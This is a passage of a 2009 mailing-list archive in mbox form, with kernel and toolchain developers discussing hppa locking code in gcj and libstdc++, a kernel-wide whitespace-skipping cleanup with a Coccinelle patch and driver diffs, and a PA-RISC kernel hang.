         p4OLYN3xSxY+HsXqCSX2/BeU3rwLYnvDU6pCHU40thW6IgImOomYdFZXJx7yPAwgU+26
         mECq2mXFvrsAGuERmH0KHgXkxQJZl+xQIRPf8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ts7gtBBVYvMCYFekGAcPjChRnB14k7QCC9iKnLN+5afUjgikQivKzdLXedCvcqrGHb
         SK+vckixdq2ISNVlNcE0/YIb77o/QY5GL0MqNowXqn2HrXLaPJMXvrU7+XAW1jxpSPcr
         onN9nw5AOOXcAYuDBCc0WuWFAjepne1v90WC0=
Original-Received: by 10.204.154.207 with SMTP id p15mr7003542bkw.202.1257706787741; 
	Sun, 08 Nov 2009 10:59:47 -0800 (PST)
In-Reply-To: <20091108185835.17A394FC6@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 6d6677fb3eb4a81b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2318 gmane.linux.debian.ports.hppa:6106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2318>

On Sun, Nov 8, 2009 at 1:58 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> On Sun, Nov 8, 2009 at 1:40 PM, John David Anglin
>> <dave@hiauly1.hia.nrc.ca> wrote:
>> >> The gcj port to hppa uses a locking implementation
>> >> (libjava/sysdeps/pa/locks.h) which is not signal safe.
>> >
>> > Yes. =3DA0Is this the gcj problem that you were seeing with nptl?
>>
>> No it is not, but I noticed this during my investigations. I might a=
s
>> well fix it while I'm poking about.
>
> There's similar code in libstdc++.

Where? I'll fix that case too.

BTW, the gcj problem looks like a missing _STACK_GROWS_UP case in boehm=
-gc.

>> Oh, that's a perefect idea, I wasn't sure that libjava could make us=
e
>> of those atomic builtins.
>>
>> Doesn't this restrict the gcc version you can use to rebuild libjava=
?
>> Is that OK?
>
> In my opinion, yes.

Is that OK?

>> >> Does locks.h also need to work for HPUX?
>> >
>> > Yes.
>>
>> OK, how do I write conditional code for HPUX vs. Linux?
>
> Check __linux and/or __hpux. =A0Look at the arm code. =A0It looks
> like they have done this. =A0So, you should just be able to copy
> what they have done.

Thanks.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: gcj port to hppa...
Date: Sun, 8 Nov 2009 14:20:12 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <20091108192013.B2E2A4E38@hiauly1.hia.nrc.ca>
References: <119aab440911081059q435ca194va5f4df4e56c2033d@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257708026 25792 80.91.229.12 (8 Nov 2009 19:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 19:20:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	dave.anglin@nrc-cnrc.gc.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 20:20:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7DJA-0007qo-Qa
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 20:20:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754729AbZKHTUK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 14:20:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754809AbZKHTUK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 14:20:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4935 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754729AbZKHTUJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 14:20:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B2E2A4E38; Sun,  8 Nov 2009 14:20:13 -0500 (EST)
In-Reply-To: <119aab440911081059q435ca194va5f4df4e56c2033d@mail.gmail.com> from "Carlos O'Donell" at Nov 8, 2009 01:59:47 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2319 gmane.linux.debian.ports.hppa:6107
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2319>

> > There's similar code in libstdc++.
> 
> Where? I'll fix that case too.

config/cpu/hppa/atomicity.h.  On linux, we probably want to use
config/cpu/generic/atomicity_builtins/atomicity.h.  However, I'm
not sure the current configure checks work correctly for library
implementations.

On hpux, we probably should switch to using
config/cpu/generic/atomicity_mutex/atomicity.h and get rid of the hppa
specific implementation.  Originally, there wasn't any locking in the
generic code.

> BTW, the gcj problem looks like a missing _STACK_GROWS_UP case in boehm-gc.
> 
> >> Oh, that's a perefect idea, I wasn't sure that libjava could make use
> >> of those atomic builtins.
> >>
> >> Doesn't this restrict the gcc version you can use to rebuild libjava?
> >> Is that OK?
> >
> > In my opinion, yes.
> 
> Is that OK?

I can approve any change that is hppa specific.  There's also a precedent
in the arm implementation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Theodore Tso <tytso@mit.edu>
Newsgroups: gmane.linux.file-systems.cachefs.general,gmane.linux.acpi.ibm-acpi.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.file-systems.ext4,gmane.linux.alsa.devel,gmane.linux.uml.devel,gmane.linux.raid,gmane.linux.uml.user,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.general
Subject: Re: [PATCH v4 12/12] tree-wide: convert open calls
	to remove spaces to skip_spaces() lib function
Date: Sun, 8 Nov 2009 13:47:22 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20091108184722.GA1647@mit.edu>
References: <cover.1257602781.git.andre.goddard@gmail.com>
	<7d5883637aa976b54e944998f635d47a41618a75.1257602781.git.andre.goddard@gmail.com>
Reply-To: Linux filesystem caching discussion list <linux-cachefs@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1257722370 1204 80.91.229.12 (8 Nov 2009 23:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 23:19:30 +0000 (UTC)
Cc: Pavel Roskin <proski@gnu.org>,
	Stefan Haberland <stefan.haberland@de.ibm.com>,
	Jan Kara <jack@suse.cz>, linux-cachefs@redhat.com,
	Mike Snitzer <snitzer@redhat.com>, Neil Brown <neilb@suse.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Jens Axboe <jens.axboe@oracle.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	"James E . J . Bottomley" <jejb@parisc-linux.org>,
	ibm-acpi-devel@lists.sourceforge.net, dm-devel@redhat.com,
	Julia Lawall <julia@diku.dk>, "H . Peter Anvin" <hpa@zytor.com>,
	Daire Byrne <Daire.Byrne@framestore.com>,
	Alasdair G Kergon <agk@redhat.com>, Greg Banks <gnb@melbourne.sgi.com>,
	Stefan Weinhuber <wein@de.ibm.com>,
	Eric Sandeen <sandeen@redhat.com>, Adam Belay <abelay@mit.edu>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	James Morris <jmorris@namei.org>, Takashi Iwai <tiwai@suse.de>,
	Ingo Molnar <mingo@redhat.com>, Alan Cox <alan@lxorguk.ukuu.org.uk
To: =?iso-8859-1?Q?Andr=E9?= Goddard Rosa <andre.goddard@gmail.com>
Original-X-From: linux-cachefs-bounces@redhat.com Mon Nov 09 00:19:09 2009
Return-path: <linux-cachefs-bounces@redhat.com>
Envelope-to: glc-linux-cachefs@gmane.org
Original-Received: from hormel1.redhat.com ([209.132.177.33] helo=hormel.redhat.com)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7H2L-0003K2-2O
	for glc-linux-cachefs@gmane.org; Mon, 09 Nov 2009 00:19:09 +0100
Original-Received: from listman.util.phx.redhat.com (listman.util.phx.redhat.com [10.8.4.110])
	by hormel.redhat.com (Postfix) with ESMTP id E8E24618969;
	Sun,  8 Nov 2009 18:19:07 -0500 (EST)
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com
	(nat-pool.util.phx.redhat.com [10.8.5.200])
	by listman.util.phx.redhat.com (8.13.1/8.13.1) with ESMTP id
	nA8IpjRh023729; Sun, 8 Nov 2009 13:51:45 -0500
Original-Received: from mx1.redhat.com (ext-mx10.extmail.prod.ext.phx2.redhat.com
	[10.5.110.14])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id nA8IphPG005354; Sun, 8 Nov 2009 13:51:43 -0500
Original-Received: from thunker.thunk.org (thunk.org [69.25.196.29])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nA8IpgLS032438;
	Sun, 8 Nov 2009 13:51:42 -0500
Original-Received: from root (helo=closure.thunk.org)
	by thunker.thunk.org with local-esmtp   (Exim 4.50 #1 (Debian))
	id 1N7CnQ-0007v9-Jg; Sun, 08 Nov 2009 13:47:29 -0500
Original-Received: from tytso by closure.thunk.org with local (Exim 4.69)
	(envelope-from <tytso@mit.edu>)
	id 1N7CnK-0003uP-HK; Sun, 08 Nov 2009 13:47:22 -0500
Mail-Followup-To: Theodore Tso <tytso@mit.edu>,
	=?iso-8859-1?Q?Andr=E9?= Goddard Rosa <andre.goddard@gmail.com>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>, linux390@de.ibm.com,
	Michael Holzheu <holzheu@linux.vnet.ibm.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Stoyan Gaydarov <stoyboyker@gmail.com>,
	Julia Lawall <julia@diku.dk>, Jeff Dike <jdike@addtoit.com>,
	James Morris <jmorris@namei.org>, WANG Cong <wangcong@zeuux.org>,
	Pekka Enberg <penberg@cs.helsinki.fi>,
	David Howells <dhowells@redhat.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>, "H . Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org, Alexey Dobriyan <adobriyan@gmail.com>,
	Joe Perches <joe@perches.com>, Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Arjan van de Ven <arjan@linux.intel.com>,
	Neil Brown <neilb@suse.de>, Alasdair G Kergon <agk@redhat.c 
Content-Disposition: inline
In-Reply-To: <7d5883637aa976b54e944998f635d47a41618a75.1257602781.git.andre.goddard@gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@mit.edu
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
X-RedHat-Spam-Score: -1.541  (AWL)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.14
X-loop: linux-cachefs@redhat.com
X-Mailman-Approved-At: Sun, 08 Nov 2009 18:19:06 -0500
X-BeenThere: linux-cachefs@redhat.com
X-Mailman-Version: 2.1.5
Precedence: junk
List-Id: Linux filesystem caching discussion list <linux-cachefs.redhat.com>
List-Unsubscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=unsubscribe>
List-Archive: <https://www.redhat.com/archives/linux-cachefs>
List-Post: <mailto:linux-cachefs@redhat.com>
List-Help: <mailto:linux-cachefs-request@redhat.com?subject=help>
List-Subscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=subscribe>
Original-Sender: linux-cachefs-bounces@redhat.com
Errors-To: linux-cachefs-bounces@redhat.com
Xref: news.gmane.org gmane.linux.file-systems.cachefs.general:2437 gmane.linux.acpi.ibm-acpi.devel:1976 gmane.linux.kernel.device-mapper.devel:10456 gmane.comp.file-systems.ext4:16340 gmane.linux.alsa.devel:68267 gmane.linux.uml.devel:12273 gmane.linux.raid:25276 gmane.linux.uml.user:13664 gmane.comp.security.firewalls.netfilter.devel:31513 gmane.linux.ports.parisc:2320 gmane.linux.network:142955 gmane.linux.kernel:911416 gmane.comp.security.firewalls.netfilter.general:38502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2320>

On Sat, Nov 07, 2009 at 01:16:20PM -0200, Andr=E9 Goddard Rosa wrote:
> Makes use of skip_spaces() defined in lib/string.c for removing leading
> spaces from strings all over the tree.
>=20
> Also, while at it, if we see (*str && isspace(*str)), we can be sure to
> remove the first condition (*str) as the second one (isspace(*str)) als=
o
> evaluates to 0 whenever *str =3D=3D 0, making it redundant. In other wo=
rds,
> "a char equals zero is never a space".

There are a number of places that have the pattern of skipping
whitespace, calling simpler_strtoul(), and then skipping whitespace
afterwards.  And thinkpad_acpi.c and fs/ext4/super.c both have an
indentical function, parse_strotul(), which basically does this plus
doing actual error checking (a number of callers of simple_strtoul
aren't checking to see if the user passed in a valid number or not,
boo.)

I would suggest that we should lift parse_strtoul() into lib/, both to
save a bit of code, as well as encouraging people to do proper input
validation, while we are doing this tree-wide cleanup.

						- Ted


From - Thu Nov 08 21:05:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.file-systems.cachefs.general,gmane.linux.acpi.ibm-acpi.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.file-systems.ext4,gmane.linux.alsa.devel,gmane.linux.uml.devel,gmane.linux.raid,gmane.linux.uml.user,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.general
Subject: Re: [PATCH v4 12/12] tree-wide: convert open calls
 to remove spaces to skip_spaces() lib function
Date: Sun, 8 Nov 2009 21:23:07 +0100 (CET)
Lines: 102
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0911082103000.8143@ask.diku.dk>
References: <cover.1257602781.git.andre.goddard@gmail.com>
	<7d5883637aa976b54e944998f635d47a41618a75.1257602781.git.andre.goddard@gmail.com>
	<20091108184722.GA1647@mit.edu>
Reply-To: Linux filesystem caching discussion list <linux-cachefs@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1257722371 1208 80.91.229.12 (8 Nov 2009 23:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 23:19:31 +0000 (UTC)
Cc: Pavel Roskin <proski@gnu.org>,
	Stefan Haberland <stefan.haberland@de.ibm.com>,
	Jan Kara <jack@suse.cz>, linux-cachefs@redhat.com,
	Mike Snitzer <snitzer@redhat.com>, Neil Brown <neilb@suse.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Jens Axboe <jens.axboe@oracle.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	"James E . J . Bottomley" <jejb@parisc-linux.org>,
	ibm-acpi-devel@lists.sourceforge.net, dm-devel@redhat.com,
	"H . Peter Anvin" <hpa@zytor.com>,
	Daire Byrne <Daire.Byrne@framestore.com>,
	Alasdair G Kergon <agk@redhat.com>, Greg Banks <gnb@melbourne.sgi.com>,
	Stefan Weinhuber <wein@de.ibm.com>,
	Eric Sandeen <sandeen@redhat.com>, Adam Belay <abelay@mit.edu>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	James Morris <jmorris@namei.org>, Takashi Iwai <tiwai@suse.de>,
	=?iso-8859-1?Q?Andr=E9?= Goddard Rosa <andre.goddard@gmail.com>,
	Alan Cox <alan@lxorguk.ukuu.or
To: Theodore Tso <tytso@mit.edu>
Original-X-From: linux-cachefs-bounces@redhat.com Mon Nov 09 00:19:10 2009
Return-path: <linux-cachefs-bounces@redhat.com>
Envelope-to: glc-linux-cachefs@gmane.org
Original-Received: from hormel1.redhat.com ([209.132.177.33] helo=hormel.redhat.com)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7H2L-0003K9-2N
	for glc-linux-cachefs@gmane.org; Mon, 09 Nov 2009 00:19:09 +0100
Original-Received: from listman.util.phx.redhat.com (listman.util.phx.redhat.com [10.8.4.110])
	by hormel.redhat.com (Postfix) with ESMTP id 414FA618B1D;
	Sun,  8 Nov 2009 18:19:08 -0500 (EST)
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com
	(nat-pool.util.phx.redhat.com [10.8.5.200])
	by listman.util.phx.redhat.com (8.13.1/8.13.1) with ESMTP id
	nA8KNUFu002525 for <linux-cachefs@listman.util.phx.redhat.com>;
	Sun, 8 Nov 2009 15:23:30 -0500
Original-Received: from mx1.redhat.com (ext-mx03.extmail.prod.ext.phx2.redhat.com
	[10.5.110.7])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id nA8KNC8P021614; Sun, 8 Nov 2009 15:23:12 -0500
Original-Received: from mgw2.diku.dk (mgw2.diku.dk [130.225.96.92])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nA8KNBtg029850;
	Sun, 8 Nov 2009 15:23:11 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by mgw2.diku.dk (Postfix) with ESMTP id 920F719BB98;
	Sun,  8 Nov 2009 21:23:10 +0100 (CET)
Original-Received: from mgw2.diku.dk ([127.0.0.1])
	by localhost (mgw2.diku.dk [127.0.0.1]) (amavisd-new,
	port 10024) with ESMTP
	id 08376-12; Sun,  8 Nov 2009 21:23:08 +0100 (CET)
Original-Received: from nhugin.diku.dk (nhugin.diku.dk [130.225.96.140])
	by mgw2.diku.dk (Postfix) with ESMTP id 9271B19BB94;
	Sun,  8 Nov 2009 21:23:08 +0100 (CET)
Original-Received: from ask.diku.dk (ask.diku.dk [130.225.96.225])
	by nhugin.diku.dk (Postfix) with ESMTP
	id 187486DF88D; Sun,  8 Nov 2009 21:20:02 +0100 (CET)
Original-Received: by ask.diku.dk (Postfix, from userid 3767)
	id C64624134; Sun,  8 Nov 2009 21:23:07 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by ask.diku.dk (Postfix) with ESMTP id BE1CF40C6;
	Sun,  8 Nov 2009 21:23:07 +0100 (CET)
In-Reply-To: <20091108184722.GA1647@mit.edu>
X-Virus-Scanned: amavisd-new at diku.dk
X-RedHat-Spam-Score: -1.304  (AWL)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.7
X-loop: linux-cachefs@redhat.com
X-Mailman-Approved-At: Sun, 08 Nov 2009 18:19:06 -0500
X-BeenThere: linux-cachefs@redhat.com
X-Mailman-Version: 2.1.5
Precedence: junk
List-Id: Linux filesystem caching discussion list <linux-cachefs.redhat.com>
List-Unsubscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=unsubscribe>
List-Archive: <https://www.redhat.com/archives/linux-cachefs>
List-Post: <mailto:linux-cachefs@redhat.com>
List-Help: <mailto:linux-cachefs-request@redhat.com?subject=help>
List-Subscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=subscribe>
Original-Sender: linux-cachefs-bounces@redhat.com
Errors-To: linux-cachefs-bounces@redhat.com
Xref: news.gmane.org gmane.linux.file-systems.cachefs.general:2438 gmane.linux.acpi.ibm-acpi.devel:1977 gmane.linux.kernel.device-mapper.devel:10457 gmane.comp.file-systems.ext4:16341 gmane.linux.alsa.devel:68268 gmane.linux.uml.devel:12274 gmane.linux.raid:25277 gmane.linux.uml.user:13665 gmane.comp.security.firewalls.netfilter.devel:31514 gmane.linux.ports.parisc:2321 gmane.linux.network:142956 gmane.linux.kernel:911417 gmane.comp.security.firewalls.netfilter.general:38503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2321>

> > Also, while at it, if we see (*str && isspace(*str)), we can be sure to
> > remove the first condition (*str) as the second one (isspace(*str)) also
> > evaluates to 0 whenever *str == 0, making it redundant. In other words,
> > "a char equals zero is never a space".

I tried the following semantic patch (http://coccinelle.lip6.fr), and got 
the results below.

@@
expression str;
@@

( // ignore skip_spaces cases
 while (*str &&  isspace(*str)) { \(str++;\|++str;\) }
|
- *str && 
  isspace(*str)
)

I haven't checked the results in any way, however.

julia

diff -u -p a/drivers/leds/led-class.c b/drivers/leds/led-class.c
--- a/drivers/leds/led-class.c
+++ b/drivers/leds/led-class.c
@@ -50,7 +50,7 @@ static ssize_t led_brightness_store(stru
 	unsigned long state = simple_strtoul(buf, &after, 10);
 	size_t count = after - buf;
 
-	if (*after && isspace(*after))
+	if (isspace(*after))
 		count++;
 
 	if (count == size) {
diff -u -p a/drivers/leds/ledtrig-timer.c b/drivers/leds/ledtrig-timer.c
--- a/drivers/leds/ledtrig-timer.c
+++ b/drivers/leds/ledtrig-timer.c
@@ -83,7 +83,7 @@ static ssize_t led_delay_on_store(struct
 	unsigned long state = simple_strtoul(buf, &after, 10);
 	size_t count = after - buf;
 
-	if (*after && isspace(*after))
+	if (isspace(*after))
 		count++;
 
 	if (count == size) {
@@ -127,7 +127,7 @@ static ssize_t led_delay_off_store(struc
 	unsigned long state = simple_strtoul(buf, &after, 10);
 	size_t count = after - buf;
 
-	if (*after && isspace(*after))
+	if (isspace(*after))
 		count++;
 
 	if (count == size) {
diff -u -p a/drivers/video/backlight/lcd.c b/drivers/video/backlight/lcd.c
--- a/drivers/video/backlight/lcd.c
+++ b/drivers/video/backlight/lcd.c
@@ -101,7 +101,7 @@ static ssize_t lcd_store_power(struct de
 	int power = simple_strtoul(buf, &endp, 0);
 	size_t size = endp - buf;
 
-	if (*endp && isspace(*endp))
+	if (isspace(*endp))
 		size++;
 	if (size != count)
 		return -EINVAL;
@@ -140,7 +140,7 @@ static ssize_t lcd_store_contrast(struct
 	int contrast = simple_strtoul(buf, &endp, 0);
 	size_t size = endp - buf;
 
-	if (*endp && isspace(*endp))
+	if (isspace(*endp))
 		size++;
 	if (size != count)
 		return -EINVAL;
diff -u -p a/drivers/video/display/display-sysfs.c b/drivers/video/display/display-sysfs.c
--- a/drivers/video/display/display-sysfs.c
+++ b/drivers/video/display/display-sysfs.c
@@ -67,7 +67,7 @@ static ssize_t display_store_contrast(st
 	contrast = simple_strtoul(buf, &endp, 0);
 	size = endp - buf;
 
-	if (*endp && isspace(*endp))
+	if (isspace(*endp))
 		size++;
 
 	if (size != count)
diff -u -p a/drivers/video/output.c b/drivers/video/output.c
--- a/drivers/video/output.c
+++ b/drivers/video/output.c
@@ -50,7 +50,7 @@ static ssize_t video_output_store_state(
 	int request_state = simple_strtoul(buf,&endp,0);
 	size_t size = endp - buf;
 
-	if (*endp && isspace(*endp))
+	if (isspace(*endp))
 		size++;
 	if (size != count)
 		return -EINVAL;


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marek Denis <marek@octogan.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hanging kernel - HPMC problem
Date: Tue, 10 Nov 2009 02:32:11 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <4AF8C29B.6030408@octogan.net>
References: <4AF000CD.1010007@octogan.net> <119aab440911030551x2b7ecc0ajeabd4fcaaf479ec8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257816859 12632 80.91.229.12 (10 Nov 2009 01:34:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Nov 2009 01:34:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 10 02:34:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7fcZ-0005ax-Gg
	for glpp-linux-parisc@lo.gmane.org; Tue, 10 Nov 2009 02:34:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752856AbZKJBeF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 Nov 2009 20:34:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754068AbZKJBeE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 9 Nov 2009 20:34:04 -0500
Original-Received: from octogan.net ([89.144.18.177]:38212 "EHLO vesper.octogan.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752856AbZKJBeE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 Nov 2009 20:34:04 -0500
Original-Received: from [10.1.101.238] (riviera.nat.student.pw.edu.pl [194.29.137.1])
	by vesper.octogan.net (Postfix) with ESMTPSA id 3827ACA20E;
	Tue, 10 Nov 2009 02:34:31 +0100 (CET)
User-Agent: Thunderbird 2.0.0.22 (X11/20090605)
In-Reply-To: <119aab440911030551x2b7ecc0ajeabd4fcaaf479ec8@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2322>

Carlos O'Donell pisze:
> I suggest:
> * Remove all add-on cards from the hardware.
> * Start with the generic config.
> * Enable one thing at a time until it stops working.
> * Come back to the list with a list of config options that don't work.
> 
> It's a slow and tedious process, but that's the only "easy" way to
> solve the problem.

Actually, the only additional hardware is 2x 3COM network cards.
Unfortunately, after removing them from the server my custom kernel also 
hung with 'HPMC bus timeout'.
I will do as you advise, and try to remove one option at once in the 
kernel config.
Anyway, thanks for your help.

Marek Denis
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pci 0000:01:04.0: BAR 0: no parent found for of device
Date: Tue, 10 Nov 2009 17:56:34 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20091110165634.GA7228@raptus.dandreoli.com>
References: <4AF099F7.10903@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257872229 32716 80.91.229.12 (10 Nov 2009 16:57:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 10 Nov 2009 16:57:09 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 10 17:57:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7u1U-0003C9-QE
